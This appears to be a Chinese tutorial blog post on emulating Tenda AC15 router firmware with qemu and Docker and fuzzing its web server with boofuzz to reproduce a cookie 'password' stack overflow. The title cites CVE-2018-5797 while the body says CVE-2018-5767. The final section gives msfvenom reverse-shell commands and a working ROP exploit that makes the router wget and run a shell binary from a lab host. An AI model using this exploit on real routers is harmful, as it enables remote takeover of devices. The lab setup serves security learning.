《IOT 废物学习之路》(6)–BooFuzz 的简单使用,以 CVE-2018-5797 为例

Tenda AC15 固件中所存在的缓冲区溢出。由于没有对用户的输入进行限制,导致 sscanf 函数直接将用户的输入直接拷贝到栈上,从而造成了栈溢出漏洞。

分析固件(qemu-user)

使用 binwalk 对固件进行解压

1
binwalk -e  US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

image-20231023100806491

squashfs-root 文件夹是该路由器的文件系统,使用 qemu-arm-static 尝试启动 bin 下的 httpd

1
2
3
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd #调试模式

运行时程序卡住:

image-20231023101619377

到 IDA 中对 httpd 进行分析。

直接进行字符串定位

image-20231023101901106

发现两个需要注意的地方

image-20231023102130989

导致死循环的原因就是因为 check_network 函数判断失败导致进入 while 死循环。

所以如果想要正常继续执行 httpd 程序,需要修改两处。

  • 修改 check_network 使其不进入 while 循环
  • 修改 ConnectCfmtrue 使其进入到 if 中继续执行

所以只需要 patch 这两处分支跳转就行。

image-20231023104427121

修改之后
image-20231023105548271

反编译再看一下

image-20231023105623328

导出修改后的 httpd 文件

再次运行 httpd

image-20231023110236356

前面一些报错无关紧要,后面的 ip 地址明显有问题。

回到 IDA 中定位到 httpd listen 的位置:

image-20231023110551385

qemu-gdb 确定函数调用链

1
2
3
4
5
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
#新建终端
gdb-multiarch
b *0x1A36C
target remote :1234

image-20231023112149643

可以确定 sub_28388 调用了 sub_1A36C

image-20231023112438351

再对 sub_28338 交叉引用,根据字符串判断是

image-20231023112944225

由于这个是 goahead,所以根据一些资料恢复一些符号表和结构体,可以知道这个函数事实上就是 tcp_timestamps。继续向上交叉引用,得到完整调用链:

main -> initwebs -> tcp_timestamps -> sub_28338 -> sub_1A36C -> printf

继续对 printfip 参数跟踪:

image-20231023114454441

发现是来自全局变量 g_lan_ip,最后跟踪到:

image-20231023114543435

动态调试一下,看一下 getIfIp 函数的返回值,发现是-1,进入到 if 语句里面了

image-20231023115453669

正常流程是进入到与 if 语句相对应的 else 语句。所以之前的初始化步骤有问题

image-20231023120801301

关联最多的是 GetValue 函数,它被定义在动态链接库 libCfm.so 中:

image-20231023150028279

先从 main 函数开头看,有一个 check_network,函数本体存在于 libcommon.so 中:

image-20231023151043880

其中 a1 传入的是

image-20231023151229458

逐步进入函数 j_check_network -> getLanIfName() -> get_eth_name(0) 查看:

image-20231023151540129

image-20231023151600895

libChipApi.so 可以找到该函数的定义:

image-20231023152544074

传入的a1为0,所以需要自己创建一个虚拟网桥(Virtual Bridge)br0:

1
2
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24

重新启动:

image-20231023153037743

可以发现,ip是正确的。

image-20231023153302225

虽然能访问,但是并不能完全访问,根据./etc_ro/init.d/rcs

image-20231023153604360

路由器会在启动时将/webroot_ro/复制到/webroot/目录下。

同样执行一遍这个操作,再访问试一试:
image-20231023153856441

至此,成功搭建漏洞环境。

查看httpd的文件保护:

image-20231023155407846

CVE-2018-5767漏洞存在于httpd的厂商自己实现的R7WebsSecturityyHandler函数中:

image-20231023160533170

这个固件并没有调用goahead自带的websSectureHandler而是调用R7websSectureHandler

这段代码的含义是首先寻找到password=字符串的位置,之后通过函数sscanf获取字符串password=;之间的字符串保存在v33中。由于v33定义的范围是128,超过128就会导致溢出。

解析的结果事实上就是cookie中的password

为了让fuzzerfuzz到崩溃点,POC需要满足以下条件:

image-20231023173638520

只要我们在请求中包含/goform/xxx就可以靠近漏洞点。可以拿/goform/zhu yuan来测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import socket
import socks
import http
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345) # socket代理
socket.socket = socks.socksocket

def main():
url = "http://192.168.2.2/goform/zhuyuan"
try:
cookie = {"Cookie":"password=" + "A"*501}
res = requests.get(url=url,cookies=cookie)
print(res.text)
except:
print("overflow!")

if __name__ == '__main__':
main()

由于httpd崩溃(DOS攻击)导致触发python异常:

image-20231023175152586

image-20231023175203234

curl –location:解析重定向之后的网页。

BooFuzz介绍

BooFuzz是一个由python编写的网路协议模糊测试框架。boofuzz提供了对于网络协议进行模糊测试的规范和功能函数。

BooFuzz框架介绍

1、四大组件:

  • Data Generation数据生成
  • Session会话管理
  • Agents代理
  • Utilities独立单元工具

环境搭建

boofuzz项目地址:GitHub - jtpereyda/boofuzz: A fork and successor of the Sulley Fuzzing Framework

boofuzz安装到python虚拟环境中:

1
2
3
4
5
6
7
8
sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper
export WORKON_HOME=$HOME/Python-workhome
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
mkvirtualenv --python=$(which python3) boofuzz && pip install boofuzz
# 新建终端后需要执行如下两条命令启动虚拟环境,方便起见可以将它们追加到~/.bashrc中
【1】$ export WORKON_HOME=$HOME/Python-workhome
【2】$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
$ workon boofuzz【进入虚拟环境】

执行以上命令进入python虚拟环境。

image-20231024155635363

boofuzz的版本为0.4.2image-20231024160108025

然后拉取cyberangel师傅的仿真docker环境:

1
docker pull ccr.ccs.tencentyun.com/cyberangel-public/iot-emu:tenda_ac15_cve-2018-5767

Docker(qemu-system)

启动容器:

1
sudo docker run -it --privileged -p 1234:22 c1687db529e0 /bin/bash

运行/root/run.sh启动环境:
image-20231024161127341

执行

1
ssh -D 2345 root@127.0.0.1 -p 1234

在本地开启端口转发,让docker暴露的1234端口转发到本地的2345端口。浏览器代理设置为socket

image-20231024162020660

最后在浏览器中访问http://192.168.2.2/main/html就能访问到路由器的管理页面了。流量的路径:虚拟机 -> Docker -> Qemu

  • 192.168.2.1docker内部ip
  • 192.168.2.2qemu的ip

这是docker内部运行的run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#/bin/bash

//解压路由器固件
cd /root/firmware
rm -r ./_* # 删除之前解压的后的文件
binwalk -e *.bin # 重新解压路由器固件
cd _*/
pwd
tar czf squashfs-root.tar.gz ./squashfs-root && rm -r ./squashfs-root # 对文件系统进行打包
cd /root

# 启动 ssh 服务
service ssh start

# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24

# 启动 http 服务
nohup python3 -m http.server 8000 1>&/dev/null & #启动http服务,方便之后下载tools目录下具有反弹shell功能的可执行文件msf

# 进入 qemu 镜像目录
cd /root/qemu-system/armhf/images

# 自动化docker容器与qemu交互脚本
/usr/bin/expect<<EOF
set timeout 10000
spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

expect "debian-armhf login:"
send "root\r"
expect "Password:"
send "root\r"

expect "root@debian-armhf:~# "
send "ifconfig eth0 192.168.2.2/24\r"

#expect "root@debian-armhf:~# "
#send "echo 0 > /proc/sys/kernel/randomize_va_space\r"

expect "root@debian-armhf:~# "
send "scp root@192.168.2.1:/root/firmware/_*/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "cyberangel\r" }
}

expect "root@debian-armhf:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-armhf:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"

expect "root@debian-armhf:~# "
send "scp -r root@192.168.2.1:/root/tools /root/squashfs-root/tools\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "cyberangel\r" }
}

expect "root@debian-armhf:~# "
send "chmod +x ./squashfs-root/tools/patch.sh && /bin/sh ./squashfs-root/tools/patch.sh\r"

expect "root@debian-armhf:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
expect "# "
send "/bin/httpd 1>/dev/null 2>&1 &\r"
expect "# "
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"

expect eof
EOF

qemu-system模拟的核心命令如下:

1
2
3
4
mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc
chroot squashfs-root/ sh
/bin/httpd
sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh # 获取/lib/libc.so的基地址

自动patch可执行文件的脚本(机器码):

1
2
3
4
5
#!/bin/bash

# patch connectcfm 和 check_network 的返回值为1 "mov r3, #1"
printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151476 conv=notrunc
printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151440 conv=notrunc

dockerhttp服务(8000)端口:

image-20231024164224446

fuzz漏洞点

使用的是boofuzz协议模糊测试工具。

官方手册:

1
https://boofuzz.readthedocs.io/en/stable/user/install.html

可以利用boofuzz中的库仿写请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from boofuzz import *
import socket
import socks
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345)
socket.socket = socks.socksocket


def check_response(target, fuzz_data_logger, session, *args, **kwargs):
# callback
fuzz_data_logger.log_info("Checking this response...")
fuzz_data_logger.log_info("We will receive 512 bytes data...")
try:
response = target.recv(512)
except:
fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
target.close() # close this target (fuzzer's thread)
return

# if empty response
if not response:
fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
target.close()
return

fuzz_data_logger.log_info("response check...\n" + response.decode())
target.close()
return


def main():
session = Session( # create a new session
target=Target(
connection=SocketConnection("192.168.2.2", 80, proto="tcp"),
),
post_test_case_callbacks=[check_response],
# post_test_case_callbacks (list of method)
# – The registered method will be called after each fuzz test case. Default None.
# so , check_response is callback function
)

s_initialize(name="Request") # initialize a new block request , the param named "name" is string type

with s_block("Request-Header"): # open and set a new block under the current request
'''
s_static(value: Any = None, name: str = None):在fuzz过程中不会突变的变量
s_string(value: str = "", size: int = None, padding: Any = b"\u0000", encoding: str = "ascii", fuzzable: bool = True, max_len: int = None, name: str = None) -> None
和static相似,但s_string更具扩展性,可以指定该数据在fuzz的过程中是否发生突变
'''
'''
Request Format:
GET /goform/cyberangel HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
'''
# Line 1
s_static("GET", name="Method") # set request method
s_static(" ", name="space-1-1")
s_static("/goform/zhuyuan") # set url
s_static(" ", name="space-1-2")
s_static("HTTP/1.1", name="HTTP_VERSION") # set http version
s_static("\r\n", name="Request-Line-CRLF-1") # each piece of data is backed by a "\r\n"

# Line 2
s_static("Host:")
s_static(" ", name="space-2-1")
s_static("192.168.2.2", name="IP address")
s_static("\r\n", name="Request-Line-CRLF-2")

# Line 3
s_static("User-Agent:", name="User-Agent")
s_static(" ", name="space-3-1")
s_static("Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",name="User-Agent-Value")
s_static("\r\n", name="Request-Line-CRLF-3")

# Line 4
s_static("Accept:", name="Accept")
s_static(" ", name="space-4-1")
s_static("text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", name="Accept-Value")
s_static("\r\n", name="Request-Line-CRLF-4")

# Line 5
s_static("Accept-Language:", name="Accept-Language")
s_static(" ", name="space-5-1")
s_static("en-US,en;q=0.5",name="Accept-Language-Value")
s_static("\r\n", name="Request-Line-CRLF-5")

# Line 6
s_static("Accept-Encoding:", name="Accept-Encoding")
s_static(" ", name="space-6-1")
s_static("gzip, deflate", name="Accept-Encoding-Value")
s_static("\r\n", name="Request-Line-CRLF-6")

# Line 7
s_static("Connection:")
s_static(" ", name="space-7-1")
s_static("keep-alive", name="Connection state")
s_static("\r\n", name="Request-Line-CRLF-7")

'''
important
'''
# Line 8
'''
"Cookie: password=cyberangel"
'''
s_static("Cookie: ")
s_static("password=", name="key-password")
s_string("zhuyuan", fuzzable=True) # fuzz password
s_static("\r\n", name="Request-Line-CRLF-8")
# over
s_static("\r\n")
s_static("\r\n")


session.connect(s_get("Request"))
try:
session.fuzz() # if except, and the socket proxy has disconnected, httpd is crashed
except:
print("overflow!")

if __name__ == "__main__":
main()

新建终端,进入python虚拟环境启动boofuzz

image-20231025103910947

在第20轮程序崩溃

image-20231025111234826

fuzzer发送了大量变异后的字符串导致httpd程序崩溃。同目录下会生成一个boofuzz-results文件夹,日志保存在其中。

image-20231025104315689

image-20231025111344486

20fuzz的时候崩溃,说明第19轮发送的数据导致崩溃。

image-20231025104636987

EXP

利用就是溢出后执行system("/msf")并反弹shell

1
2
3
4
5
# https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/baseImage/msf
# 使用 Metasploit生成的反向shell:
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-arm
$ msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mipsel
$ msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mips
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
# 该脚本只在docker内部生效,懒,不想改了...

import requests
from pwn import *
from threading import Thread

cmd = b'wget http://192.168.2.1:8000/tools/msf -O /msf '
cmd += b'&& chmod 777 /msf '
cmd += b'&& /msf'

assert(len(cmd) < 255)

libc_base = 0x76de8000 # 记得换libcbase

system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.2.2:80/goform/cyberangel"
cookie = {"Cookie": 'password='+payload.decode('latin1')}

def attack():
try:
requests.get(url, cookies=cookie)
except Exception as e:
print(e)

thread = Thread(target=attack)
thread.start()

p = listen(31337)
p.wait_for_connection()
log.success("getshell")
p.interactive()

thread.join()

image-20231025114919609

参考资料:

1
2
3
https://www.yuque.com/cyberangel/rg9gdm/nqk6wh
https://jackfromeast.site/2021-03/boofuzz-1.html
https://boofuzz.readthedocs.io/en/stable/user/install.html